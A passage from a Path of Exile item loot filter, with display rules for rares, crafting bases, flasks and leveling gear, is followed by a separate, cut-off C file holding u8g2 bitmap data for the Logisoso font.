SetBorderColor 0 0 0 Show Class "Body Armour" Rarity Rare ItemLevel >= 65 DropLevel >= 60 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class "Body Armour" Rarity Rare ItemLevel >= 75 DropLevel <= 47 SetTextColor 255 190 0 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 Show Class "Body Armour" Rarity Rare ItemLevel >= 65 DropLevel <= 47 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 #------------------------------------------------------------------------ # 0614 # RARES - REMAINING RULES #------------------------------------------------------------------------ #Whatever rares wern't highlighted as good or bad above, will still be displayed #Just without any priority highlighting Show Rarity Rare SetBorderColor 0 0 0 SetBackgroundColor 0 0 0 225 SetFontSize 35 ItemLevel < 65 Show Rarity Rare ItemLevel >= 75 SetTextColor 255 190 0 SetBorderColor 0 0 0 SetBackgroundColor 0 0 0 225 SetFontSize 31 Show Rarity Rare SetBorderColor 0 0 0 SetBackgroundColor 0 0 0 225 SetFontSize 31 #------------------------------------------------------------------------ # Section: 0700 # NORMAL AND MAGIC ITEM RULES #------------------------------------------------------------------------ #------------------------------------------------------------------------ # 0701 # 83+ ITEM CRAFTING #------------------------------------------------------------------------ Show ItemLevel >= 84 BaseType "Void Sceptre" "Opal Sceptre" "Profane Wand" "Prophecy Wand" "Opal Wand" "Sambar Sceptre" "Imbued Wand" "Vaal Regalia" "Sorcerer Boots" "Sorcerer Gloves" "Hubris Circlet" SetBorderColor 255 255 0 255 SetFontSize 38 Show # Endgame: Show normal ilvl 83+ rings/amulets Class Rings Amulet Belts BaseType "Onyx" "Ruby" "Sapphire" "Topaz" "Two-Stone" "Diamond" "Prismatic" "Unset" "Gold" "Citrine" "Turquoise" "Agate" "Coral Ring" "Moonstone" "Leather" "Heavy" "Amber" "Jade" "Lapis" ItemLevel >= 84 SetBorderColor 255 255 0 255 SetFontSize 38 Show BaseType "Lion Sword" "Vaal Greatsword" "Vaal Axe" "Coronal Maul" "Exquisite Blade" "Fleshripper" "Harbinger Bow" "Gemini Claw" "Ambusher" "Platinum Kris" ItemLevel >= 83 SetBorderColor 255 255 0 255 SetFontSize 38 Show BaseType "Demon Dagger" "Imperial Skean" "Vaal Hatchet" "Runic Hatchet" "Behemoth Mace" "Eternal Sword" "Tiger Hook" "Eclipse Staff" "Maelstr" "Judgement Staff" "Jewelled Foil" "Dragoon Sword" ItemLevel >= 83 SetBorderColor 255 255 0 255 SetFontSize 38 Show BaseType "Sai" ItemLevel >= 83 SetBorderColor 255 255 0 255 Class Daggers SetFontSize 38 #------------------------------------------------------------------------ # 0702 # CHROMATIC ORB RECIPE ITEMS #------------------------------------------------------------------------ Show SocketGroup RGB SetBackgroundColor 75 75 75 SetBorderColor 150 150 150 Height <= 2 Width <= 2 Show SocketGroup RGB SetBackgroundColor 75 75 75 SetBorderColor 150 150 150 Height <= 3 Width <= 1 Show SocketGroup RGB SetBackgroundColor 75 75 75 SetBorderColor 0 0 0 #------------------------------------------------------------------------ # 0703 # HIGH LEVEL WHITE RINGS/AMULETS FOR ALCHING #------------------------------------------------------------------------- Show # Endgame: Show normal ilvl 75+ rings/amulets Class Rings Amulet Belts BaseType "Onyx" "Ruby" "Sapphire" "Topaz" "Two-Stone" "Diamond" "Prismatic" "Unset" "Gold" "Citrine" "Turquoise" "Agate" "Coral Ring" "Moonstone" "Leather" "Heavy" "Amber" "Jade" "Lapis" "Rustic" "Iron Ring" ItemLevel >= 75 SetBorderColor 255 190 0 150 Rarity Normal SetFontSize 32 Show # Endgame: Show normal ilvl 60+ rings/amulets Class Rings Amulet Belts BaseType "Onyx" "Ruby" "Sapphire" "Topaz" "Two-Stone" "Diamond" "Prismatic" "Unset" "Gold" "Citrine" "Turquoise" "Agate" "Coral Ring" "Moonstone" "Leather" "Heavy" "Amber" "Jade" "Lapis" "Rustic" "Iron Ring" Rarity Normal ItemLevel >= 62 ItemLevel < 75 SetFontSize 32 #------------------------------------------------------------------------ # 0704 # MAGIC RINGS, AMULETS, BELTS #------------------------------------------------------------------------ #Once we reach mapping we only want to see the top tiers of magic items #We still want to see all rings/amulets/belts. They are small and provide alteration shards, if we need those quickly. Show # Endgame: Show magic rings, amulets and belts. Reduce font size. Class Rings Amulets Belts Rarity Magic ItemLevel >= 62 SetFontSize 30 Show # Leveling: Show magic rings, amulets and belts. Don't reduce font size Class Rings Amulets Belts Rarity Magic #------------------------------------------------------------------------ # 0705 # MAGIC JEWELS #------------------------------------------------------------------------ Show Class Jewel SetFontSize 36 SetBackgroundColor 75 75 75 SetBorderColor 0 150 200 #------------------------------------------------------------------------ # 0706 # CHANCE ORB BASES - ADD YOUR ITEMS HERE #------------------------------------------------------------------------- # ADD ADDITIONAL STUFF HERE IF YOU WANT # Enable this line for improved detection of chance bases (like sorcerer boots) #Show # BaseType "Sorcerer Boots" # SetBorderColor 0 200 0 200 # SetTextColor 255 255 255 255 # Rarity Normal # SetFontSize 38 # PlayAlertSound 7 300 Show BaseType "Occultist's Vestment" "Imperial Bow" "Prophecy Wand" "Judgement Staff" "Agate Amulet" "Lapis Amulet" "Amber Amulet" "Sorcerer Boots" "Desert Brigandine" SetBorderColor 0 150 0 150 SetTextColor 255 255 255 255 Rarity Normal Show BaseType "Sacrificial Garb" SetTextColor 255 255 255 255 SetBorderColor 0 150 0 150 Rarity Normal #------------------------------------------------------------------------ # 0707 # CHISEL RECIPE ITEMS #------------------------------------------------------------------------- Show # Chisel Recipe: Magic Gavels with 12+ qual Quality > 11 Rarity Magic BaseType "Gavel" "Rock Breaker" "Stone Hammer" SetBackgroundColor 75 75 75 SetBorderColor 0 0 0 SetFontSize 32 Show # Chisel Recipe: White Gavels Rarity Normal BaseType "Gavel" "Rock Breaker" "Stone Hammer" SetBackgroundColor 75 75 75 SetBorderColor 0 0 0 SetFontSize 32 #------------------------------------------------------------------------ # 0708 # HIGH LEVEL 4+ LINKED ITEMS #------------------------------------------------------------------------- Show # Endgame: Show high level 4 linked items (64-71) in entry level maps/endgame Class "Boots" "Gloves" "Body Armour" "Helmets" DropLevel >= 64 ItemLevel < 72 LinkedSockets >= 4 SetFontSize 32 Rarity <= Magic #------------------------------------------------------------------------ # 0709 # TOP BASES FOR CRAFTING #------------------------------------------------------------------------- Show # Weapons: Show Ambusher CRAFTING BaseType "Ambusher" SetFontSize 32 Rarity <= Magic Show # Weapons: Show Harbinger Bow CRAFTING BaseType "Harbinger Bow" SetFontSize 32 Rarity <= Magic # #Show # Armour: Show Hubris Circlet ES CHANCING/CRAFTING #BaseType "Hubris Circlet" #SetFontSize 32 #Rarity <= Magic #Hide # Weapons: Show Platinum Kris CRAFTING #BaseType "Platinum Kris" #SetFontSize 32 #Rarity <= Magic # #Hide # Weapons: Show Vaal Axe CRAFTING #BaseType "Vaal Axe" #SetFontSize 32 #Rarity <= Magic # #Hide # Weapons: Show Imperial Skean CRAFTING #BaseType "Imperial Skean" #SetFontSize 32 #Rarity <= Magic # #Hide # Weapons: Show Demon Dagger CRAFTING #BaseType "Demon Dagger" #SetFontSize 32 #Rarity <= Magic # #Hide # Weapons: Show Vaal Rapier CRAFTING #BaseType "Vaal Rapier" #SetFontSize 32 #Rarity <= Magic # #Hide # Weapons: Show Jewelled Foil CRAFTING #BaseType "Jewelled Foil" #SetFontSize 32 #Rarity <= Magic # #Hide # Weapons: Show Opal Sceptre CRAFTING #BaseType "Opal Sceptre" #SetFontSize 32 #Rarity <= Magic # #Hide # Weapons: Show Imbued Wand (1.5 speed, 8 crit) CRAFTING #BaseType "Imbued Wand" #SetFontSize 32 #Rarity <= Magic # #Hide # Weapons: Show Prophecy Wand - CHANCE / CRAFTING #BaseType "Prophecy Wand" #SetFontSize 32 #Rarity <= Magic # #Hide # Armour: Show Carnal Armour ES/EV CRAFTING #BaseType "Carnal Armour" #SetFontSize 32 #Rarity <= Magic # #Hide # Armour: Show Saint's Hauberk ES/AR CRAFTING #BaseType "Saint's Hauberk" #SetFontSize 32 #Rarity <= Magic # #Hide # Armour: Show Saintly Chainmail AR/ES CRAFTING #BaseType "Saintly Chainmail" #SetFontSize 32 #Rarity <= Magic # #Hide # Armour: Show Triumphant Lamellar EV/AR CRAFTING #BaseType "Triumphant Lamellar" #SetFontSize 32 #Rarity <= Magic # #Hide # Armour: Show General's Brigandine AR=EV CRAFTING #BaseType "General's Brigandine" #SetFontSize 32 #Rarity <= Magic # #Hide # Armour: Show Full Dragonscale AR/EV CRAFTING #BaseType "Full Dragonscale" #SetFontSize 32 #Rarity <= Magic # #Hide # Armour: Show Assassin's Garb EV CRAFTING #BaseType "Assassin's Garb" #SetFontSize 32 #Rarity <= Magic # #Hide # Armour: Show Zodiac Leather EV CRAFTING #BaseType "Zodiac Leather" #SetFontSize 32 #Rarity <= Magic # #Hide # Armour: Show Astral Plate AR CRAFTING #BaseType "Astral Plate" #SetFontSize 32 #Rarity <= Magic # #Hide # Armour: Show Glorious Plate AR CHANCING/CRAFTING #BaseType "Glorious Plate" #SetFontSize 32 #Rarity <= Magic # #Hide # Armour: Show Vaal Regalia ES CRAFTING #BaseType "Vaal Regalia" #SetFontSize 32 #Rarity <= Magic # #Hide # Armour: Show Titanium Spirit Shield ES CHANCING/CRAFTING #BaseType "Titanium Spirit Shield" #SetFontSize 32 #Rarity <= Magic # #Hide # Armour: Show Sorcerer Gloves ES CRAFTING #BaseType "Sorcerer Gloves" #SetFontSize 32 #Rarity <= Magic # #------------------------------------------------------------------------ # 0710 # MARAKETH WEAPONS #------------------------------------------------------------------------- # All maraketh weapon bases are visible once their itemlevel is 83+ # Only gemini's and exquisities are visible earlier (until 77, you kinda dont care about those 78-82) # Feel free to enable additional weapons Show # Maraketh Weapons: Show Gemini Claw (Life/Mana on hit) BaseType "Gemini Claw" SetFontSize 32 Rarity <= Magic ItemLevel < 77 Show # Maraketh Weapons: Show Exquisite Blade (2h crit blade) BaseType "Exquisite Blade" SetFontSize 32 Rarity <= Magic ItemLevel < 77 #Show # Maraketh Weapons: Show Profane Wand (Cast Speed) #BaseType "Profane Wand" #SetFontSize 32 #Rarity <= Magic #ItemLevel < 78 #Show # Maraketh Weapons: Show Behemoth Mace (1h IAS mace) #BaseType "Behemoth Mace" #SetFontSize 32 #Rarity <= Magic #ItemLevel < 77 #Show # Maraketh Weapons: Show Sai (1h block dagger) #BaseType "Sai" #Class Daggers #SetFontSize 32 #Rarity <= Magic #ItemLevel < 78 #Show # Maraketh Weapons: Show Tiger Hook (1h dodge sword) #BaseType "Tiger Hook" #SetFontSize 32 #Rarity <= Magic #ItemLevel < 77 #Show # Maraketh Weapons: Show Dragoon Sword (1h bleed foil) #BaseType "Dragoon Sword" #SetFontSize 32 #Rarity <= Magic #ItemLevel < 77 #Show # Maraketh Weapons: Show Runic Hatchet (1h phys axe) #BaseType "Runic Hatchet" #SetFontSize 32 #Rarity <= Magic #ItemLevel < 77 #Show # Maraketh Weapons: Show Maraketh Bow (2h MS bow) #BaseType "Maraketh Bow" #SetFontSize 32 #Rarity <= Magic #ItemLevel < 77 #Show # Maraketh Weapons: Show Eclipse Staff (2h crit staff) #BaseType "Eclipse Staff" #SetFontSize 32 #Rarity <= Magic #ItemLevel < 78 #Show # Maraketh Weapons: Show Fleshripper (2h crit axe) #BaseType "Fleshripper" #SetFontSize 32 #Rarity <= Magic #ItemLevel < 77 #Show # Maraketh Weapons: Show Coronal Maul (2h AOE mace) #BaseType "Coronal Maul" #SetFontSize 32 #Rarity <= Magic #ItemLevel < 77 #Show # Maraketh Weapons: Show Sambar Sceptre (1H ele pen sceptre) #BaseType "Sambar Sceptre" #SetFontSize 32 #Rarity <= Magic #ItemLevel < 78 #------------------------------------------------------------------------ # 0711 # PRE-ENDGAME 20% QUALITY ITEMS #------------------------------------------------------------------------ #WARNING: IF YOU DON'T LIKE THIS SECTION, REMOVE IT INSTEAD OF SWITCHING SHOW TO HIDE # You can uncomment these lines to show quality items in maps. #Show # Quality = 20 # Rarity <= Magic # SetBackgroundColor 75 75 75 # SetBorderColor 0 0 0 Show Quality = 20 Rarity <= Magic ItemLevel <= 60 SetBackgroundColor 75 75 75 SetBorderColor 0 0 0 #------------------------------------------------------------------------ # 0712 # ANIMATE WEAPON SCRIPT (DISABLED) #------------------------------------------------------------------------ # UNCOMMENT THIS SCRIPT TO MAKE IT WORK (remove the # in front of the next 7 lines) #Show # Class "One Hand" "Two Hand" "Staves" "Daggers" "Thrusting" "Sceptres" "Claws" # Rarity Normal # SetBackgroundColor 0 0 0 # SetTextColor 150 0 0 # SetBorderColor 150 0 0 # SetFontSize 36 #------------------------------------------------------------------------ # Section: 0800 # FLASKS #------------------------------------------------------------------------ Show BaseType "Flask" Quality = 20 SetBackgroundColor 75 75 75 SetBorderColor 255 255 255 SetFontSize 38 Show BaseType "Flask" Quality >= 1 SetBackgroundColor 75 75 75 SetBorderColor 0 0 0 Show Class "Utility Flasks" SetBackgroundColor 75 75 75 SetBorderColor 0 0 0 ItemLevel < 74 #------------------------------------------------------------------------ # 0801 # HIDE OUTDATED FLASKS #------------------------------------------------------------------------ Hide BaseType Flask ItemLevel >= 35 BaseType Small Medium Large Greater Grand SetFontSize 20 Hide BaseType Flask ItemLevel >= 53 BaseType Giant Colossal Sacred SetFontSize 20 #---------------------------------------------------- # 0802 # HIDE NON-QUALITY RANDOM FLASK DROPS IN MAPS #---------------------------------------------------- Hide # Endgame: Hide non quality flasks in maps BaseType Flask ItemLevel >= 69 SetFontSize 20 #---------------------------------------------------- # 0803 # FLASKS - HIGHLIGHT NEW NORMAL FLASKS (Kudos to Antnee) #---------------------------------------------------- Show Class Flask Rarity Normal ItemLevel <= 6 ItemLevel >= 3 BaseType "Medium" SetTextColor 255 255 255 255 Show Class Flask Rarity Normal ItemLevel <= 9 ItemLevel >= 5 BaseType "Large" SetTextColor 255 255 255 255 Show Class Flask Rarity Normal ItemLevel <= 15 ItemLevel >= 12 BaseType "Greater" SetTextColor 255 255 255 255 Show Class Flask Rarity Normal ItemLevel <= 21 ItemLevel >= 18 BaseType "Grand" SetTextColor 255 255 255 255 Show Class Flask Rarity Normal ItemLevel <= 27 ItemLevel >= 24 BaseType "Giant" SetTextColor 255 255 255 255 Show Class Flask Rarity Normal ItemLevel <= 33 ItemLevel >= 30 BaseType "Colossal" SetTextColor 255 255 255 255 Show Class Flask Rarity Normal ItemLevel <= 39 ItemLevel >= 36 BaseType "Sacred" SetTextColor 255 255 255 255 Show Class Flask Rarity Normal ItemLevel <= 45 ItemLevel >= 42 BaseType "Hallowed" SetTextColor 255 255 255 255 Show Class Flask Rarity Normal ItemLevel <= 51 ItemLevel >= 48 BaseType "Sanctified" SetTextColor 255 255 255 255 Show Class Flask Rarity Normal ItemLevel <= 62 ItemLevel >= 60 BaseType "Divine" SetTextColor 255 255 255 255 Show Class Flask Rarity Normal ItemLevel <= 67 ItemLevel >= 65 BaseType "Eternal" SetTextColor 255 255 255 255 #---------------------------------------------------- # 0804 # FLASKS - HIGHLIGHT NEW MAGIC FLASKS (Kudos to Antnee) #---------------------------------------------------- Show Class Flask Rarity Magic ItemLevel <= 6 ItemLevel >= 3 BaseType "Medium" SetTextColor 100 100 255 Show Class Flask Rarity Magic ItemLevel <= 9 ItemLevel >= 5 BaseType "Large" SetTextColor 100 100 255 Show Class Flask Rarity Magic ItemLevel <= 15 ItemLevel >= 12 BaseType "Greater" SetTextColor 100 100 255 Show Class Flask Rarity Magic ItemLevel <= 21 ItemLevel >= 18 BaseType "Grand" SetTextColor 100 100 255 Show Class Flask Rarity Magic ItemLevel <= 27 ItemLevel >= 24 BaseType "Giant" SetTextColor 100 100 255 Show Class Flask Rarity Magic ItemLevel <= 33 ItemLevel >= 30 BaseType "Colossal" SetTextColor 100 100 255 Show Class Flask Rarity Magic ItemLevel <= 39 ItemLevel >= 36 BaseType "Sacred" SetTextColor 100 100 255 Show Class Flask Rarity Magic ItemLevel <= 45 ItemLevel >= 42 BaseType "Hallowed" SetTextColor 100 100 255 Show Class Flask Rarity Magic ItemLevel <= 51 ItemLevel >= 48 BaseType "Sanctified" SetTextColor 100 100 255 Show Class Flask Rarity Magic ItemLevel <= 63 ItemLevel >= 60 BaseType "Divine" SetTextColor 100 100 255 Show Class Flask Rarity Magic ItemLevel <= 68 ItemLevel >= 65 BaseType "Eternal" SetTextColor 100 100 255 #------------------------------------------------------------------------ # 0805 # SHOW WHATEVER FLASKS REMAIN #------------------------------------------------------------------------ Show BaseType Flask SetFontSize 29 Rarity <= Magic #------------------------------------------------------------------------ # Section: 0900 # LEVELING #------------------------------------------------------------------------ #Until itemlevel 12 you will see everything #Then NORMAL items under your level will SLOWLY start getting filtered out. #We will still see all 3L's until level 30 and all 4L's until level 69 #All magic items will be visible without further filtering until level 67 # 0901 # HIGHLIGHT LEVELING JEWELRY #------------------------------------------------------------------------ Show Rarity Normal ItemLevel < 35 Class "Rings" "Amulets" "Belts" SetTextColor 255 255 255 255 SetFontSize 36 Show Rarity Magic ItemLevel < 45 Class "Rings" "Amulets" "Belts" SetTextColor 100 100 255 SetFontSize 36 # 0902 # HIGHLIGHT LEVELING LINKED GEAR #------------------------------------------------------------------------ Show LinkedSockets >= 4 ItemLevel <= 66 Rarity Normal SetTextColor 255 255 255 255 SetFontSize 36 Show LinkedSockets >= 4 ItemLevel <= 68 Rarity Magic SetTextColor 100 100 255 SetFontSize 36 Show Class "Gloves" "Boots" "Body Armour" "Shields" LinkedSockets >= 3 ItemLevel <= 25 Rarity Normal SetTextColor 255 255 255 255 SetFontSize 36 Show Class "Gloves" "Boots" "Body Armour" "Shields" LinkedSockets >= 3 ItemLevel <= 25 Rarity Magic SetTextColor 100 100 255 SetFontSize 36 # 0903 # LEVELING GENERAL RULES #------------------------------------------------------------------------ Show ItemLevel < 62 Rarity Magic # 0904 # LEVELING WHITE/MAGIC ITEM PROGRESSION #------------------------------------------------------------------------ Show ItemLevel < 12 Show Rarity Normal ItemLevel < 13 DropLevel >= 2 Show Rarity Normal ItemLevel < 14 DropLevel >= 4 Show Rarity Normal ItemLevel < 16 DropLevel >= 6 Show Rarity Normal ItemLevel < 18 DropLevel >= 8 Show Rarity Normal ItemLevel < 20 DropLevel >= 10 Show Rarity Normal ItemLevel < 22 DropLevel >= 13 Show Rarity Normal ItemLevel < 24 DropLevel >= 16 Show Rarity Normal ItemLevel < 26 DropLevel >= 19 Show Rarity Normal ItemLevel < 28 DropLevel >= 22 Show LinkedSockets >= 3 ItemLevel < 30 DropLevel >= 24 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 30 DropLevel >= 28 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 32 DropLevel >= 26 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 32 DropLevel >= 30 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 34 DropLevel >= 28 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 34 DropLevel >= 32 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 36 DropLevel >= 32 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 36 DropLevel >= 34 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 38 DropLevel >= 34 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 38 DropLevel >= 37 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 40 DropLevel >= 37 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 40 DropLevel >= 39 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 42 DropLevel >= 39 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 42 DropLevel >= 41 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 46 DropLevel >= 43 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 46 DropLevel >= 45 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 48 DropLevel >= 46 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 48 DropLevel >= 47 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 50 DropLevel >= 48 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 50 DropLevel >= 49 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 52 DropLevel >= 50 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 52 DropLevel >= 52 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 54 DropLevel >= 52 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 54 DropLevel >= 54 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 56 DropLevel >= 54 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 56 DropLevel >= 56 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 58 DropLevel >= 56 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 58 DropLevel >= 58 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 60 DropLevel >= 58 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 60 DropLevel >= 60 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 62 DropLevel >= 60 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 62 DropLevel >= 62 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 64 DropLevel >= 63 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 64 DropLevel >= 64 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 66 DropLevel >= 65 SetFontSize 29 Rarity <= Magic Show Rarity <= Magic ItemLevel < 66 DropLevel >= 66 SetFontSize 29 Show LinkedSockets >= 3 ItemLevel < 68 DropLevel >= 67 SetFontSize 29 Rarity <= Magic #------------------------------------------------------------------------ # Section: 5000 # TEMP AND WIP ENTRIES #------------------------------------------------------------------------ #Work-in-progress entries are added here #------------------------------------------------------------------------ # 5001 # WARBAND MODS - DEACTIVATED #------------------------------------------------------------------------ #Hide #Rarity Magic #Class "Helmets" #SetBorderColor 175 30 30 #SetBackgroundColor 200 60 0 175 #SetFontSize 29 #Hide #Rarity Magic #Class "Gloves" #SetBorderColor 30 0 175 #SetBackgroundColor 50 25 150 175 #SetFontSize 29 #Hide #Rarity Magic #Class "Boots" #SetBorderColor 25 150 90 #SetBackgroundColor 50 125 125 175 #SetFontSize 29 #--------------------------------------------------------------------------------------------------------------- # Section: OMEGA # ADDITIONAL RULES - ADD YOUR OWN RULES THAT WON'T OVERRIDE THE OTHER RULES #--------------------------------------------------------------------------------------------------------------- #This is the spot to add your own rules, that would not invalidate any rules above, but may highlight otherwise hidden things #------------------------------------------------------------------------ # Section: XXXX # HIDE THE REST THEN FAILSAFE DISPLAY #------------------------------------------------------------------------ #You can replace the "hide" with a "show" below to display all hidden items in a really small font. Hide # Minimize junk instead of hiding (if "Show") Rarity Magic SetFontSize 23 SetBackgroundColor 0 0 0 150 Hide # Minimize junk instead of hiding (if "Show") Rarity Normal SetFontSize 20 SetBackgroundColor 0 0 0 100 # This filter should classify every single item ingame. In case I somehow forgot an item (unlikely after monthes of testing) or something completely new gets added (such as a new rarity like "setitems" or a new itemslot, idk. "wings", this line will ensure, that you'll notice it) # Still I doubt it'll ever happen. However, if it will, please inform me Show # SafetyLine! SetFontSize 45 SetBorderColor 255 0 0 255 #--------------------------------------------------------------------------------------------------------------- # CREDITS #--------------------------------------------------------------------------------------------------------------- # SCRIPT by NeverSink ( the-dude- on reddit ) # # "c4pture" - thank you for helping out with the testing of the filter, for his advise and for the fact that he's annoying ONLY half of the time :P. # "Malchron" - for helping out with his advice. And stuff. # "Antnee" - adapted some of his ideas. Also helped with feedback. He also has a nice lootfilter himself, check it out. # "XVar" - developed the "Filtration" app that this filter supports! ( https://www.pathofexile.com/forum/view-thread/1287447/ ) # "Ghudda" - I took his script as a template. It made learning the syntax even easier. # "StarRune" - Found several flaws in the filter. Thanks for the help! # Also thanks to http://bschug.github.io/poedit/poedit.html - I used this site to test my setup
{ "pile_set_name": "Github" }
/* Fontname: -FreeType-Logisoso-Medium-R-Normal--23-230-72-72-P-30-ISO10646-1 Copyright: Created by Mathieu Gabiot with FontForge 2.0 (http://fontforge.sf.net) - Brussels - 2009 Glyphs: 96/527 BBX Build Mode: 0 */ const uint8_t u8g2_font_logisoso16_tr[1566] U8G2_FONT_SECTION("u8g2_font_logisoso16_tr") = "`\0\3\3\4\5\4\6\6\17\27\0\374\20\374\20\0\2\13\4\1\6\1 \6\0\20T\1!\10\2" "\25\64\361\241D\42\11\64\266U!\231\210\2#\36\10\23T'\21MD\222\221d$\221\34\16\222\211" "H\345p\220\250Id\22\321D\244\4$\24H\323S'\226\322,\243\42y\237\211\245\211\215*\226\1" "%\30\10\23T#\263H(\42U\261\252X*V\25\251H\42\22\233\4\0&\27\10\23T\67,\311" "$\62\211x:$Jd\22\11\311\315\64\71\31'\7\62\264\65Q\1(\20\4\27T\25\223\210TD" "\372&\22\215\42\0)\20\4\27T\23\222\211\324D\372\42\222\214B\0*\22xrU'\214H\42\207" "\20\351\20\211H\202\62\0+\14ftT%\24\35JB\21\0,\7\62\364\63A\11-\7&\264T" "q(.\6\42\24\64A/\24\10\23T-\235\212\245S\261T\254*\226N\305\322)\0\60\17\10\23" "TE\263\214\212\374\307\322\304F\2\61\13\4\27T%:PD\372\37\62\24\10\23TE\263\214\212l" "S\351p*\235\252N\17\7\1\63\22\10\23T\361 \235\252\256\222\307\232K\23\33\11\0\64\22\10\23" "T'\25k\25k\21\351t\70\10\305J\0\65\23\10\23T\361@V\66]FE\261\62\261\64\261\221" "\0\66\24\10\23TE\263\214\212d\261\351\62*r,Ml$\0\67\23\10\23T\361@\244M\305\252" "S\261tU,\235\12\1\70\25\10\23TE\263\214\212\214\245\211\311\62*\62\226&\66\22\0\71\24\10" "\23TE\263\214\212\34K\223\223YL,Ml$\0:\10\222T\64A\207\21;\11\242\64\64A\207" "Q\2<\15\225v\134\31\223,\5gCa\0=\11gT\134\361\216\360\0>\16\225v\134\21\24\316" "\206\241\311R\20\0\77\22\10\23TE\263\214\212b\351p\252\254;\202X\6@*>\223\203i\7\34" "\242\303\331\34 \31\225H&\222\22I\211\244DR\42)\221\224HJ\244\203\351\20\222\203\347\320\203\370" "\20\2A\23\10\23T'\26\17y\224\310$\42\235L\27\31\221(B\24\10\23TQ\273\310$Bn" "\22\323EV\344&\271\324\0C\20\10\23TE\263\214\212d\375\261\64\261\221\0D\17\10\23Ta\272" "\310\212\374o\207\211\11\0E\17\10\23T\361@\326\331d\22\353|\70\10F\16\10\23T\361@\326\331" "d\22\353\63\0G\21\10\23TE\263\214\212d\235\34\31K\223\223\1H\15\10\23T!\344\307\303\301" "\310\217\2I\10\2\25\64\361\3\1J\15\10\23T\255\377\231X\232\330H\0K\32\10\23T!\253I" "D\23\221\212\254F\234N\211\65\211L\244\64\221Id\3L\13\10\23T!\326\377\363\341 M\23\10" "\23T!,\71\35~\220H(\22J\210\310\243\0N\23\10\23T!\254\265\231L\27\212\204\42\241\234" "\334:\12O\17\10\23TE\263\214\212\374\307\322\304F\2P\21\10\23TQ\273\310$B\336$\227\232" "X\317\0Q\16\10\23TE\263\214\212\374\307\322\344dR\25\10\23TQ\273\310$B\336$\27\223\336" "$\62\211L\42\24S\21\10\23TE\263\214\212\344}&\226&\66\22\0T\14\10\23T\361 \23\353" "\377\15\0U\15\10\23T!\344\377\261\64\261\221\0V\27\10\23T!$Jd\22\231D\244\67\211L" "\42\253\21\251[e\0W\21\7\25\134!\343K\204\22\241D(\207_\134\6X\25\10\23T!\224\310" "$\42m\22Y\215\310\261\64\21\351\215(Y\27\10\23T!\224\210&\42]fD\342t,\25K\247" "b\351\24\0Z\25\10\23T\361 \226\212\245b\251X*\226\212\245\342\303A\0[\13\5\27Tq\250" "\351\177;\14\134\21\7\25T!U\226J\247\252S\325\251\352T\0]\13\4\27Tq\10\351\177:\14" "^\11\66\24V%\243\210\4_\7\32\360Sq\30`\10\63\370U!\21\11a\26\311\22\134\67\255)" "\311\344\0\231\351\42\224\10%B\321!D\21b\21\10\23T!\326l\272\214\212|,\35&&\0c" "\20\310\22TE\263\214\212d\35K\23\33\11\0d\17\10\23T\255\223\345\60*\362\261\64\71\31e\22" "\310\22TE\263\214\212\304\303\301,\36Ml$\0f\17\10\23TG\63iV\274\334\304\372\21\0g" "\26\10\223Se\71\214\212\304\322\304T\23\213-\207!\361\60\261\0h\16\10\23T!\326l\272\214\212" "\374\243\0i\15\3\23\64!\221\3$\372\227\211\0j\17F\225S\251\216$\324\377H:D(\0k" "\30\10\23T!\326\255&\21MD*\62\211\254m\42\232Ld\22\331\0l\13\4\23\64!\322\377\23" "e\0m\33\316\22\204a\42\35,#RQH\24\22\205D!QH\24\22\205D!Q\1n\14\310" "\22Ta\272\214\212\374\243\0o\17\310\22TE\263\214\212|,Ml$\0p\21\10\223Sa\272\214" "\212|,\35&&\261f\0q\17\10\223Se\71\214\212|,MNf\35r\13\306\22D\361\20!" "\352\217\0s\20\307\22L\65\253\310\230\211d\32MR\33\1t\16\5\23<#\323t\230\310\364\33i" "\0u\14\310\22T!\344\37K\223\223\1v\23\310\22T!$Jd\22\321D\244\67\211\254Fd\2" "w \316\22\204!\24\22g\22\331L\42\242ID$%\222RE&\321F\222\310HD\22\221D\2" "x\24\310\22T!\224\210&\42\31\221*\226\22i\42-B\1y\33\10\223S#\223\310$\62\221d" "$\221Id\22\231DH\234n\213\214\212C\0z\21\310\22T\361 \35N\245\303\251t\70=\34\4" 